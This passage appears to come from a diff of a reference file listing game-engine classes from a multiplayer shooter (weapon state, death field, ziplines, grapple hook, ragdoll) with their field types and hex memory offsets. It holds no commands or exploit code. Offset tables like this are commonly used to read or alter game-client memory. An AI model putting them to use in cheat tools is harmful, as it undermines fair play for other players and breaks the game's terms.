m_scriptTime0: Time, + m_scriptTime1: Time, + m_scriptFloat0: Float, + m_scriptFlags0: Int, + m_scriptInt0: Int, + m_scriptInt1: Int, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +DT_WeaponPlayerData!0x0008 m_moveSpread +DT_WeaponPlayerData!0x000c m_spreadStartTime +DT_WeaponPlayerData!0x0010 m_spreadStartFracHip +DT_WeaponPlayerData!0x0014 m_spreadStartFracADS +DT_WeaponPlayerData!0x0018 m_kickSpreadHipfire +DT_WeaponPlayerData!0x001c m_kickSpreadADS +DT_WeaponPlayerData!0x0020 m_kickTime +DT_WeaponPlayerData!0x0024 m_kickScaleBasePitch +DT_WeaponPlayerData!0x0028 m_kickScaleBaseYaw +DT_WeaponPlayerData!0x002c m_kickPatternScaleBase +DT_WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +DT_WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +DT_WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +DT_WeaponPlayerData!0x003c m_semiAutoTriggerDown +DT_WeaponPlayerData!0x003d m_pendingTriggerPull +DT_WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +DT_WeaponPlayerData!0x003f m_pendingReloadAttempt +DT_WeaponPlayerData!0x0040 m_offhandHybridNormalMode +DT_WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +DT_WeaponPlayerData!0x0042 m_fastHolster +DT_WeaponPlayerData!0x0043 m_didFirstDeploy +DT_WeaponPlayerData!0x0044 m_shouldCatch +DT_WeaponPlayerData!0x0045 m_clipModelIsHidden +DT_WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +DT_WeaponPlayerData!0x0047 m_reloadStartedEmpty +DT_WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +DT_WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +DT_WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked +DT_WeaponPlayerData!0x004b m_realtimeModCmds +DT_WeaponPlayerData!0x0053 m_realtimeModCmdHead +DT_WeaponPlayerData!0x0054 m_realtimeModCmdCount +DT_WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +DT_WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +DT_WeaponPlayerData!0x0060 m_fireRateLerp_startTime +DT_WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +DT_WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +DT_WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +DT_WeaponPlayerData!0x0070 m_chargeAnimIndex +DT_WeaponPlayerData!0x0074 m_chargeAnimIndexOld +DT_WeaponPlayerData!0x0078 m_proScreen_owner +DT_WeaponPlayerData!0x007c m_proScreen_int0 +DT_WeaponPlayerData!0x0080 m_proScreen_int1 +DT_WeaponPlayerData!0x0084 m_proScreen_int2 +DT_WeaponPlayerData!0x0088 m_proScreen_float0 +DT_WeaponPlayerData!0x008c m_proScreen_float1 +DT_WeaponPlayerData!0x0090 m_proScreen_float2 +DT_WeaponPlayerData!0x0094 m_reloadMilestone +DT_WeaponPlayerData!0x0098 m_rechamberMilestone +DT_WeaponPlayerData!0x009c m_cooldownMilestone +DT_WeaponPlayerData!0x00a0 m_prevSeqWeight +DT_WeaponPlayerData!0x00a4 m_fullReloadStartTime +DT_WeaponPlayerData!0x00a8 m_scriptTime0 +DT_WeaponPlayerData!0x00ac m_scriptTime1 +DT_WeaponPlayerData!0x00b0 m_scriptFloat0 +DT_WeaponPlayerData!0x00b4 m_scriptFlags0 +DT_WeaponPlayerData!0x00b8 m_scriptInt0 +DT_WeaponPlayerData!0x00ba m_scriptInt1 +DT_WeaponPlayerData!0x00bc m_curZoomFOV +DT_WeaponPlayerData!0x00c0 m_targetZoomFOV +DT_WeaponPlayerData!0x00c4 m_zoomFOVLerpTime +DT_WeaponPlayerData!0x00c8 m_zoomFOVLerpEndTime +DT_WeaponPlayerData!0x00cc m_latestDryfireTime +DT_WeaponPlayerData!0x00d0 m_requestedAttackEndTime +DT_WeaponPlayerData!0x00d4 m_currentAltFireAnimIndex +DT_WeaponPlayerData!0x00d8 m_legendaryModelIndex +DT_WeaponPlayerData!0x00dc m_charmModelIndex +DT_WeaponPlayerData!0x00e0 m_charmAttachment +DT_WeaponPlayerData!0x00e4 m_charmScriptIndex +``` +
+
+class DT_WeaponX extends DT_BaseAnimating + +``` +{ + LocalWeaponData: DT_WeaponX_LocalWeaponData, + predictingClientOnly: DT_WeaponX_PredictingClientOnly, + m_networkedFlags: Int, + m_bClientSideAnimation: Int, + m_weaponOwner: Int, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_weapState: Int, + m_allowedToUse: Int, + m_discarded: Int, + m_forcedADS: Int, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: Int, + m_customActivityEndTime: Time, + m_customActivityFlags: Int, + m_playerData: DT_WeaponPlayerData, + m_lastTossedGrenade: Int, + m_targetingLaserEnabledScript: Int, + m_needsReloadCheck: Int, + m_needsEmptyCycleCheck: Int, + m_skinOverride: Int, + m_skinOverrideIsValid: Int, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Int, + m_sustainedLaserNextRandomSeed: Int, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Int, + m_scriptActivated: Int, + m_isLoadoutPickup: Int, + m_utilityEnt: Int, + m_weaponNameIndex: Int, + m_shouldPlayIdleAnims: Int, + m_oaActiveOverride: Int, + m_parentTurret: Int, +} +``` + +### Offsets + +``` +DT_WeaponX!0x0000 LocalWeaponData +DT_WeaponX!0x0000 predictingClientOnly +DT_WeaponX!0x03d4 m_networkedFlags +DT_WeaponX!0x1020 m_bClientSideAnimation +DT_WeaponX!0x1600 m_weaponOwner +DT_WeaponX!0x1614 m_worldModelIndexOverride +DT_WeaponX!0x1618 m_iWorldModelIndex +DT_WeaponX!0x161c m_holsterModelIndex +DT_WeaponX!0x1620 m_droppedModelIndex +DT_WeaponX!0x1624 m_nIdealSequence +DT_WeaponX!0x1628 m_IdealActivity +DT_WeaponX!0x162c m_weaponActivity +DT_WeaponX!0x1630 m_ActiveState +DT_WeaponX!0x1644 m_weapState +DT_WeaponX!0x1648 m_allowedToUse +DT_WeaponX!0x1649 m_discarded +DT_WeaponX!0x164c m_forcedADS +DT_WeaponX!0x1650 m_tossRelease +DT_WeaponX!0x1654 m_customActivity +DT_WeaponX!0x1658 m_customActivitySequence +DT_WeaponX!0x165c m_customActivityOwner +DT_WeaponX!0x1660 m_customActivityEndTime +DT_WeaponX!0x1664 m_customActivityFlags +DT_WeaponX!0x1668 m_playerData +DT_WeaponX!0x1750 m_lastTossedGrenade +DT_WeaponX!0x1754 m_targetingLaserEnabledScript +DT_WeaponX!0x1755 m_needsReloadCheck +DT_WeaponX!0x1756 m_needsEmptyCycleCheck +DT_WeaponX!0x1758 m_skinOverride +DT_WeaponX!0x175c m_skinOverrideIsValid +DT_WeaponX!0x1760 m_chargeStartTime +DT_WeaponX!0x1764 m_chargeEndTime +DT_WeaponX!0x1768 m_lastChargeFrac +DT_WeaponX!0x1790 m_sustainedDischargeEndTime +DT_WeaponX!0x1794 m_sustainedLaserCurrentSpread +DT_WeaponX!0x1798 m_sustainedDischargeIsInPrimaryAttack +DT_WeaponX!0x1799 m_sustainedLaserNextRandomSeed +DT_WeaponX!0x179c m_modBitfieldFromPlayer +DT_WeaponX!0x17a0 m_modBitfieldInternal +DT_WeaponX!0x17a4 m_modBitfieldCurrent +DT_WeaponX!0x17a8 m_curSharedEnergyCost +DT_WeaponX!0x17ac m_grappleWeaponNeedsDryfire +DT_WeaponX!0x17ad m_scriptActivated +DT_WeaponX!0x17ae m_isLoadoutPickup +DT_WeaponX!0x17b0 m_utilityEnt +DT_WeaponX!0x17b8 m_weaponNameIndex +DT_WeaponX!0x17c4 m_shouldPlayIdleAnims +DT_WeaponX!0x17c8 m_oaActiveOverride +DT_WeaponX!0x17cc m_parentTurret +``` +
+
+class DT_WeaponX_LocalWeaponData + +``` +{ + m_nNextThinkTick: Int, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_bInReload: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_LocalWeaponData!0x0554 m_nNextThinkTick +DT_WeaponX_LocalWeaponData!0x1604 m_lastPrimaryAttack +DT_WeaponX_LocalWeaponData!0x1608 m_nextReadyTime +DT_WeaponX_LocalWeaponData!0x160c m_nextPrimaryAttackTime +DT_WeaponX_LocalWeaponData!0x1610 m_attackTimeThisFrame +DT_WeaponX_LocalWeaponData!0x1634 m_ammoInClip +DT_WeaponX_LocalWeaponData!0x1638 m_ammoInStockpile +DT_WeaponX_LocalWeaponData!0x163c m_lifetimeShots +DT_WeaponX_LocalWeaponData!0x1640 m_flTimeWeaponIdle +DT_WeaponX_LocalWeaponData!0x164a m_bInReload +``` +
+
+class DT_WeaponX_PredictingClientOnly + +``` +{ + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Int, + m_weaponIsCharging: Int, + m_weaponChargeLevelIncreasedAnimPlaying: Int, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_animModelIndexPredictingClientOnly: Int, + m_animSequencePredictingClientOnly: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_PredictingClientOnly!0x176c m_lastRegenTime +DT_WeaponX_PredictingClientOnly!0x1770 m_cooldownEndTime +DT_WeaponX_PredictingClientOnly!0x1774 m_stockPileWasDraining +DT_WeaponX_PredictingClientOnly!0x1775 m_weaponIsCharging +DT_WeaponX_PredictingClientOnly!0x1776 m_weaponChargeLevelIncreasedAnimPlaying +DT_WeaponX_PredictingClientOnly!0x1778 m_lastChargeLevel +DT_WeaponX_PredictingClientOnly!0x177c m_chargeEnergyDepleteStepCounter +DT_WeaponX_PredictingClientOnly!0x1780 m_burstFireCount +DT_WeaponX_PredictingClientOnly!0x1784 m_burstFireIndex +DT_WeaponX_PredictingClientOnly!0x1788 m_shotIndexForSpread +DT_WeaponX_PredictingClientOnly!0x178c m_shotCount +DT_WeaponX_PredictingClientOnly!0x17bc m_animModelIndexPredictingClientOnly +DT_WeaponX_PredictingClientOnly!0x17c0 m_animSequencePredictingClientOnly +``` +
+
+class DT_World extends DT_BaseEntity + +``` +{ + m_WorldMins: Vector, + m_WorldMaxs: Vector, + m_bStartDark: Int, + m_statusEffectsGenerationNV: Int, + m_worldFlags: Int, + m_timeshiftArmDeviceSkin: Int, + m_spTitanLoadoutUnlocks: Int, + m_deathFieldIsActive: DataTable, + m_deathFieldOrigin: DataTable, + m_deathFieldRadiusStart: DataTable, + m_deathFieldRadiusEnd: DataTable, + m_deathFieldTimeStart: DataTable, + m_deathFieldTimeEnd: DataTable, + m_teamRelationRulesForPVE: Int, + m_civilTeamsMaskA: DataTable, + m_civilTeamsMaskB: DataTable, + m_rabidTeamsMask: DataTable, +} +``` + +### Offsets + +``` +DT_World!0x0a40 m_WorldMins +DT_World!0x0a4c m_WorldMaxs +DT_World!0x0a58 m_bStartDark +DT_World!0x0a6c m_statusEffectsGenerationNV +DT_World!0x0a74 m_worldFlags +DT_World!0x0a78 m_timeshiftArmDeviceSkin +DT_World!0x0a7c m_spTitanLoadoutUnlocks +DT_World!0x0a80 m_deathFieldIsActive +DT_World!0x0ac0 m_deathFieldOrigin +DT_World!0x0dc0 m_deathFieldRadiusStart +DT_World!0x0ec0 m_deathFieldRadiusEnd +DT_World!0x0fc0 m_deathFieldTimeStart +DT_World!0x10c0 m_deathFieldTimeEnd +DT_World!0x11c0 m_teamRelationRulesForPVE +DT_World!0x11c8 m_civilTeamsMaskA +DT_World!0x11d8 m_civilTeamsMaskB +DT_World!0x11f0 m_rabidTeamsMask +``` +
+
+class DT_Zipline extends DT_BaseEntity + +``` +{ + m_numZiplinePoints: Int, + m_ziplinePositions: DataTable, + m_ziplinePhysics: DT_ZiplinePhysics, + m_ziplineMaterialIndex: Int, + m_prevZipline: Int, + m_nextZipline: Int, + m_detachEndOnUse: Int, + m_dropToBottom: Int, + m_ziplineAutoDetachDistance: Float, + m_ziplineVerticalPushOffInDirectionX: Int, + m_ziplineVerticalPreserveVelocity: Int, + m_ziplineWidth: Float, + m_ziplineEnabled: Int, + m_ziplineRestPositions: DataTable, + m_numZiplineRestPositions: Int, + m_ziplineFadeDist: Float, + m_ziplineSpeedScale: Float, +} +``` + +### Offsets + +``` +DT_Zipline!0x0008 m_numZiplinePoints +DT_Zipline!0x000c m_ziplinePositions +DT_Zipline!0x0a40 m_ziplinePhysics +DT_Zipline!0x0d88 m_ziplineMaterialIndex +DT_Zipline!0x0d8c m_prevZipline +DT_Zipline!0x0d90 m_nextZipline +DT_Zipline!0x0d94 m_detachEndOnUse +DT_Zipline!0x0d95 m_dropToBottom +DT_Zipline!0x0d98 m_ziplineAutoDetachDistance +DT_Zipline!0x0d9c m_ziplineVerticalPushOffInDirectionX +DT_Zipline!0x0d9d m_ziplineVerticalPreserveVelocity +DT_Zipline!0x0da0 m_ziplineWidth +DT_Zipline!0x0da4 m_ziplineEnabled +DT_Zipline!0x0da8 m_ziplineRestPositions +DT_Zipline!0x0e68 m_numZiplineRestPositions +DT_Zipline!0x0e6c m_ziplineFadeDist +DT_Zipline!0x0e70 m_ziplineSpeedScale +``` +
+
+class DT_ZiplinePhysics + +``` +{ + ziplinephysicsexclusive: DT_ZiplinePhysicsExlusive, + m_isInit: Int, + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_springDistance: Float, + m_springDistanceScale: Float, + m_outerZiplineEntity: Int, + m_attachedEntities: DataTable, + m_numAttachedEntities: Int, + m_ziplineOwner: Int, +} +``` + +### Offsets + +``` +DT_ZiplinePhysics!0x0000 ziplinephysicsexclusive +DT_ZiplinePhysics!0x0008 m_isInit +DT_ZiplinePhysics!0x000c m_ziplineType +DT_ZiplinePhysics!0x0010 m_ziplineStart +DT_ZiplinePhysics!0x001c m_ziplineEnd +DT_ZiplinePhysics!0x022c m_springDistance +DT_ZiplinePhysics!0x0230 m_springDistanceScale +DT_ZiplinePhysics!0x0238 m_outerZiplineEntity +DT_ZiplinePhysics!0x0240 m_attachedEntities +DT_ZiplinePhysics!0x0340 m_numAttachedEntities +DT_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class DT_ZiplinePhysicsExlusive + +``` +{ + m_nodes: DataTable, + m_numNodes: Int, + m_remainingUnsimulatedTime: Float, +} +``` + +### Offsets + +``` +DT_ZiplinePhysicsExlusive!0x0028 m_nodes +DT_ZiplinePhysicsExlusive!0x0228 m_numNodes +DT_ZiplinePhysicsExlusive!0x0234 m_remainingUnsimulatedTime +``` +
+ +## Datamaps + +
+class CBaseGrenade extends C_BaseAnimating + +``` +{ + m_vecVelocity: Vector, + m_doesExplode: Bool, + m_DmgRadius: Bool, + m_grenadeCreationTime: Float, + m_grenadeCreationOrigin: Vector, + m_useMaskAbility: Bool, + m_grenadeStatusFlags: Int, + m_flDamage: Float, + m_hThrower: EHANDLE, +} +``` + +### Offsets + +``` +CBaseGrenade!0x0464 m_vecVelocity +CBaseGrenade!0x2c81 m_doesExplode +CBaseGrenade!0x2c84 m_DmgRadius +CBaseGrenade!0x2c94 m_grenadeCreationTime +CBaseGrenade!0x2c98 m_grenadeCreationOrigin +CBaseGrenade!0x2ca4 m_useMaskAbility +CBaseGrenade!0x2ca8 m_grenadeStatusFlags +CBaseGrenade!0x2d30 m_flDamage +CBaseGrenade!0x2d34 m_hThrower +``` +
+
+class CBaseViewModel + +``` +{ + m_currentFrame.modelIndex: Short, + m_currentFrame.animCycle: Float, + m_angAbsRotation: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_fEffects: Int, + m_angNetworkAngles: Vector, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, + m_viewModelOwner: EHANDLE, + m_projectileIsVisible: Bool, + m_bBlockEventLayer: Bool, + m_isAdsTransition: Bool, + m_hWeapon: EHANDLE, + m_tracerAttachments: Int, + m_tracerAttachments: Int, + m_tracerAttachmentsScoped: Int, + m_tracerAttachmentsScoped: Int, +} +``` + +### Offsets + +``` +CBaseViewModel!0x00a8 m_currentFrame.modelIndex +CBaseViewModel!0x00c4 m_currentFrame.animCycle +CBaseViewModel!0x0134 m_angAbsRotation +CBaseViewModel!0x014c m_vecAbsOrigin +CBaseViewModel!0x0158 m_localOrigin +CBaseViewModel!0x0164 m_localAngles +CBaseViewModel!0x042c m_fEffects +CBaseViewModel!0x0470 m_angNetworkAngles +CBaseViewModel!0x0e90 m_nBody +CBaseViewModel!0x0e9c m_nResetEventsParity +CBaseViewModel!0x0f34 m_bSequenceFinished +CBaseViewModel!0x0f4c m_currentFrameBaseAnimating.animStartTime +CBaseViewModel!0x0f50 m_currentFrameBaseAnimating.animStartCycle +CBaseViewModel!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +CBaseViewModel!0x0f5c m_currentFrameBaseAnimating.animModelIndex +CBaseViewModel!0x0f60 m_currentFrameBaseAnimating.animSequence +CBaseViewModel!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +CBaseViewModel!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +CBaseViewModel!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +CBaseViewModel!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +CBaseViewModel!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +CBaseViewModel!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +CBaseViewModel!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +CBaseViewModel!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +CBaseViewModel!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +CBaseViewModel!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +CBaseViewModel!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +CBaseViewModel!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +CBaseViewModel!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +CBaseViewModel!0x19d8 m_viewModelOwner +CBaseViewModel!0x19dc m_projectileIsVisible +CBaseViewModel!0x1dc0 m_bBlockEventLayer +CBaseViewModel!0x1dc1 m_isAdsTransition +CBaseViewModel!0x1dc4 m_hWeapon +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class CCollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Char, + m_triggerBloat: Char, + m_collisionDetailLevel: Char, +} +``` + +### Offsets + +``` +CCollisionProperty!0x0010 m_vecMins +CCollisionProperty!0x001c m_vecMaxs +CCollisionProperty!0x0028 m_usSolidFlags +CCollisionProperty!0x002c m_nSolidType +CCollisionProperty!0x002d m_triggerBloat +CCollisionProperty!0x002e m_collisionDetailLevel +``` +
+
+class CGrappleHook + +``` +{ + m_pMoveParent: EHANDLE, + m_localOrigin: Vector, + m_localAngles: Vector, + m_visibilityFlags: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_parentAttachmentHitbox: Int, + m_grappleZipline: EHANDLE, +} +``` + +### Offsets + +``` +CGrappleHook!0x0118 m_pMoveParent +CGrappleHook!0x0158 m_localOrigin +CGrappleHook!0x0164 m_localAngles +CGrappleHook!0x0428 m_visibilityFlags +CGrappleHook!0x0834 m_parentAttachmentType +CGrappleHook!0x0838 m_parentAttachmentIndex +CGrappleHook!0x083c m_parentAttachmentHitbox +CGrappleHook!0x1600 m_grappleZipline +``` +
+
+class CPlayerShared + +``` +{ + m_nPlayerCond: Int, +} +``` + +### Offsets + +``` +CPlayerShared!0x0008 m_nPlayerCond +``` +
+
+class CPlayerState + +``` +{ + deadflag: Bool, +} +``` + +### Offsets + +``` +CPlayerState!0x006c deadflag +``` +
+
+class CPredictedFirstPersonProxy extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_camoIndex: Int, +} +``` + +### Offsets + +``` +CPredictedFirstPersonProxy!0x0158 m_localOrigin +CPredictedFirstPersonProxy!0x0164 m_localAngles +CPredictedFirstPersonProxy!0x0464 m_vecVelocity +CPredictedFirstPersonProxy!0x0470 m_angNetworkAngles +CPredictedFirstPersonProxy!0x0c00 m_SequenceTransitioner +CPredictedFirstPersonProxy!0x0e94 m_camoIndex +``` +
+
+class CRagdoll + +``` +{ + m_ragdoll.listCount: Int, + m_ragdoll.allowStretch: Bool, + m_ragdoll.list[0 + 0].originParentSpace: Vector, + m_ragdoll.list[0 + 0].pObject: Custom, + m_ragdoll.list[0 + 0].pConstraint: Custom, + m_ragdoll.list[0 + 0].parentIndex: Int, + m_ragdoll.list[0 + 1].originParentSpace: Vector, + m_ragdoll.list[0 + 1].pObject: Custom, + m_ragdoll.list[0 + 1].pConstraint: Custom, + m_ragdoll.list[0 + 1].parentIndex: Int, + m_ragdoll.list[0 + 2].originParentSpace: Vector, + m_ragdoll.list[0 + 2].pObject: Custom, + m_ragdoll.list[0 + 2].pConstraint: Custom, + m_ragdoll.list[0 + 2].parentIndex: Int, + m_ragdoll.list[0 + 3].originParentSpace: Vector, + m_ragdoll.list[0 + 3].pObject: Custom, + m_ragdoll.list[0 + 3].pConstraint: Custom, + m_ragdoll.list[0 + 3].parentIndex: Int, + m_ragdoll.list[0 + 4].originParentSpace: Vector, + m_ragdoll.list[0 + 4].pObject: Custom, + m_ragdoll.list[0 + 4].pConstraint: Custom, + m_ragdoll.list[0 + 4].parentIndex: Int, + m_ragdoll.list[0 + 5].originParentSpace: Vector, + m_ragdoll.list[0 + 5].pObject: Custom, + m_ragdoll.list[0 + 5].pConstraint: Custom, + m_ragdoll.list[0 + 5].parentIndex: Int, + m_ragdoll.list[0 + 6].originParentSpace: Vector, + m_ragdoll.list[0 + 6].pObject: Custom, + m_ragdoll.list[0 + 6].pConstraint: Custom, + m_ragdoll.list[0 + 6].parentIndex: Int, + m_ragdoll.list[0 + 7].originParentSpace: Vector, + m_ragdoll.list[0 + 7].pObject: Custom, + m_ragdoll.list[0 + 7].pConstraint: Custom, + m_ragdoll.list[0 + 7].parentIndex: Int, + m_ragdoll.list[8 + 0].originParentSpace: Vector, + m_ragdoll.list[8 + 0].pObject: Custom, + m_ragdoll.list[8 + 0].pConstraint: Custom, + m_ragdoll.list[8 + 0].parentIndex: Int, + m_ragdoll.list[8 + 1].originParentSpace: Vector, + m_ragdoll.list[8 + 1].pObject: Custom, + m_ragdoll.list[8 + 1].pConstraint: Custom, + m_ragdoll.list[8 + 1].parentIndex: Int, + m_ragdoll.list[8 + 2].originParentSpace: Vector, + m_ragdoll.list[8 + 2].pObject: Custom, + m_ragdoll.list[8 + 2].pConstraint: Custom, + m_ragdoll.list[8 + 2].parentIndex: Int, + m_ragdoll.list[8 + 3].originParentSpace: Vector, + m_ragdoll.list[8 + 3].pObject: Custom, + m_ragdoll.list[8 + 3].pConstraint: Custom, + m_ragdoll.list[8 + 3].parentIndex: Int, + m_ragdoll.list[8 + 4].originParentSpace: Vector, + m_ragdoll.list[8 + 4].pObject: Custom, + m_ragdoll.list[8 + 4].pConstraint: Custom, + m_ragdoll.list[8 + 4].parentIndex: Int, + m_ragdoll.list[8 + 5].originParentSpace: Vector, + m_ragdoll.list[8 + 5].pObject: Custom, + m_ragdoll.list[8 + 5].pConstraint: Custom, + m_ragdoll.list[8 + 5].parentIndex: Int, + m_ragdoll.list[8 + 6].originParentSpace: Vector, + m_ragdoll.list[8 + 6].pObject: Custom, + m_ragdoll.list[8 + 6].pConstraint: Custom, + m_ragdoll.list[8 + 6].parentIndex: Int, + m_ragdoll.list[8 + 7].originParentSpace: Vector, + m_ragdoll.list[8 + 7].pObject: Custom, + m_ragdoll.list[8 + 7].pConstraint: Custom, + m_ragdoll.list[8 + 7].parentIndex: Int, + m_ragdoll.list[16 + 0].originParentSpace: Vector, + m_ragdoll.list[16 + 0].pObject: Custom, + m_ragdoll.list[16 + 0].pConstraint: Custom, + m_ragdoll.list[16 + 0].parentIndex: Int, + m_ragdoll.list[16 + 1].originParentSpace: Vector, + m_ragdoll.list[16 + 1].pObject: Custom, + m_ragdoll.list[16 + 1].pConstraint: Custom, + m_ragdoll.list[16 + 1].parentIndex: Int, + m_ragdoll.list[16 + 2].originParentSpace: Vector, + m_ragdoll.list[16 + 2].pObject: Custom, + m_ragdoll.list[16 + 2].pConstraint: Custom, + m_ragdoll.list[16 + 2].parentIndex: Int, + m_ragdoll.list[16 + 3].originParentSpace: Vector, + m_ragdoll.list[16 + 3].pObject: Custom, + m_ragdoll.list[16 + 3].pConstraint: Custom, + m_ragdoll.list[16 + 3].parentIndex: Int, + m_ragdoll.list[16 + 4].originParentSpace: Vector, + m_ragdoll.list[16 + 4].pObject: Custom, + m_ragdoll.list[16 + 4].pConstraint: Custom, + m_ragdoll.list[16 + 4].parentIndex: Int, + m_ragdoll.list[16 + 5].originParentSpace: Vector, + m_ragdoll.list[16 + 5].pObject: Custom, + m_ragdoll.list[16 + 5].pConstraint: Custom, + m_ragdoll.list[16 + 5].parentIndex: Int, + m_ragdoll.list[16 + 6].originParentSpace: Vector, + m_ragdoll.list[16 + 6].pObject: Custom, + m_ragdoll.list[16 + 6].pConstraint: Custom, + m_ragdoll.list[16 + 6].parentIndex: Int, + m_ragdoll.list[16 + 7].originParentSpace: Vector, + m_ragdoll.list[16 + 7].pObject: Custom, + m_ragdoll.list[16 + 7].pConstraint: Custom, + m_ragdoll.list[16 + 7].parentIndex: Int, + m_ragdoll.list[24 + 0].originParentSpace: Vector, + m_ragdoll.list[24 + 0].pObject: Custom, + m_ragdoll.list[24 + 0].pConstraint: Custom, + m_ragdoll.list[24 + 0].parentIndex: Int, + m_ragdoll.list[24 + 1].originParentSpace: Vector, + m_ragdoll.list[24 + 1].pObject: Custom, + m_ragdoll.list[24 + 1].pConstraint: Custom, + m_ragdoll.list[24 + 1].parentIndex: Int, + m_ragdoll.list[24 + 2].originParentSpace: Vector, + m_ragdoll.list[24 + 2].pObject: Custom, + m_ragdoll.list[24 + 2].pConstraint: Custom, + m_ragdoll.list[24 + 2].parentIndex: Int, + m_ragdoll.list[24 + 3].originParentSpace: Vector, + m_ragdoll.list[24 + 3].pObject: Custom, + m_ragdoll.list[24 + 3].pConstraint: Custom, + m_ragdoll.list[24 + 3].parentIndex: Int, + m_ragdoll.list[24 + 4].originParentSpace: Vector, + m_ragdoll.list[24 + 4].pObject: Custom, + m_ragdoll.list[24 + 4].pConstraint: Custom, + m_ragdoll.list[24 + 4].parentIndex: Int, + m_ragdoll.list[24 + 5].originParentSpace: Vector, + m_ragdoll.list[24 + 5].pObject: Custom, + m_ragdoll.list[24 + 5].pConstraint: Custom, + m_ragdoll.list[24 + 5].parentIndex: Int, + m_ragdoll.list[24 + 6].originParentSpace: Vector, + m_ragdoll.list[24 + 6].pObject: Custom, + m_ragdoll.list[24 + 6].pConstraint: Custom, + m_ragdoll.list[24 + 6].parentIndex: Int, + m_ragdoll.list[24 + 7].originParentSpace: Vector, + m_ragdoll.list[24 + 7].pObject: Custom, + m_ragdoll.list[24 + 7].pConstraint: Custom, + m_ragdoll.list[24 + 